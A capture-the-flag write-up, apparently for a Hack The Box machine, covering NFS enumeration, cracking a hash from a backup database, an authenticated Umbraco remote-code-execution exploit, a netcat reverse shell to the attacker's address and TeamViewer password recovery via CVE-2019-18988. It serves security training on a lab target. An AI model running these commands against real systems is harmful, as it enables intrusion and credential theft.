alt text

Information Gathering

Rustscan

Rustscan finds many ports open. NFS running on port 2049 stands out because it is not normal.

rustscan --addresses 10.10.10.180 --range 1-65535

alt text

Enumeration

SMB - TCP 445

Crackmapexec reveals the domain remote which we add to /etc/hosts file.

alt text

Unfortunately, null login is not allowed:

alt text

FTP - TCP 21

Anonymous login is allowed but nothing is in the share:

alt text

NFS - TCP 2049

Using showmount -e remote, we can list shares on nfs:

alt text

Let’s mount the share to our local side:

sudo mount -t nfs -o vers=3,nolock remote:/site_backups /home/yoon/Documents/htb/remote/nfs

alt text

Shell as IIS

NFS Password Retrieval

Inside mounted nfs share, App_Data share looks interesting.

alt text

Umbraco.sdf could be read with strings command and it reveals a lot of information:

alt text

We can assume user admin@htb.local and smith@htb.local exists on the website and sha-1 encoded password hash is also shown.

Let’s crack the password hash using hashcat:

hashcat -m 100 b8be16afba8c314ad33d812f22a04991b90e2aaa ~/Downloads/rockyou.txt --show

alt text

Password was to cracked to be baconandcheese.

We should be able to use this password somewhere else as admin or smith.

Umbraco RCE

Now let’s move on to enumerating HTTP.

alt text

Exploring around the website, we discovered login portal for the dashboard:

alt text

Using the password cracked earlier as admin@htb.local, we can sign in to dashboard:

alt text

So the website seems to be running Umbraco and doing some researched on it revealed that certain versions are vulnerable to Authenticated RCE.

Running the exploit found from here, we now have a interactive shell:

python3 umbraco_rce.py -u admin@htb.local -p baconandcheese -w 'http://10.10.10.180/' -i 10.10.14.36

alt text

However, this shell seems to be some what broken. It wouldn’t show output to certain commands:

alt text

Using smbserver, we will copy nc.exe to the target:

alt text

By spawning a second shell inside the first shell, now we have fully interactive shell environment:

./nc.exe 10.10.14.36 1337 -e cmd

alt text

Privesc: IIS to Administrator

TeamViewer

tasklist command shows the services running on the system and TemViewer stands out:

alt text

Inside Program Files (x86), we can access TeamViewer:

alt text

It seems to be running as Version7:

alt text

CVE-2019-18988

Through some googling on TeamViewer version 7, we discovered CVE-2019-18988:

alt text

Upon uploading and running this bat file, we can rerieve SecurityPasswordAES in plain text:

alt text

By running the discovered AES value through this Python script, we can crack the password: !R3m0te!

alt text

Trying the cracked password as the administrator, it worked:

alt text

References